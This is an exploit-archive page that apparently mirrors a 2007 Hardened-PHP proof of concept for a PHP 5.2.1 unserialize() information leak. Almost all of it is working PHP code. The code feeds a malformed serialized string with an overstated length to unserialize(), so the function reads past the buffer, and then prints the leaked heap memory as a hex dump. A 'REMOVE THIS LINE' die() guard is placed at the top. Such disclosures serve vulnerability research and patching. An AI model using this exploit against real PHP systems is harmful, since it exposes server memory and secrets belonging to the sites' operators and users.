Search...

PHP 5.2.1 unserialize() Local Information Leak Exploit

2007-03-23T00:00:00
ID 1337DAY-ID-7658
Type zdt
Reporter Stefan Esser
Modified 2007-03-23T00:00:00

Description

Exploit for multiple platform in category local exploits

                                        
                                            ======================================================
PHP 5.2.1 unserialize() Local Information Leak Exploit
======================================================


<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \ //
  // | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //       PHP 5.2.1 unserialize() Information Leak Vulnerability       //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");
  
  
  
  
  $str = 'S:'.(100*3).':"'.str_repeat('\61', 100).'"';
  $arr = array(str_repeat('"', 200)."1"=>1,str_repeat('"', 200)."2"=>1);

  $heapdump = unserialize($str);
  
  
  
  
  echo "Heapdump\n---------\n\n";
  
  $len = strlen($heapdump);
  for ($b=0; $b<$len; $b+=16) {
    printf("%08x: ", $b);
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          printf ("%02x ", ord($heapdump[$b+$i]));
      } else {
          printf (".. ");
      }
    }
    for ($i=0; $i<16; $i++) {
      if ($b+$i<$len) {
          $c = ord($heapdump[$b+$i]);
      } else {
          $c = 0;
      }
      if ($c > 127 || $c < 32) {
        $c = ord(".");
      }
      printf ("%c", $c);
    }
    printf("\n");
  }
?>



#  0day.today [2018-04-11]  #
JSON Vulners Source
Initial Source


All product names, logos, and brands are property of their respective owners. All company, product and service names used in this website are for identification purposes only. Use of these names, logos, and brands does not imply endorsement.If you are an owner of some content and want it to be removed, please mail to content@vulners.com Vulners, 2018
Protected by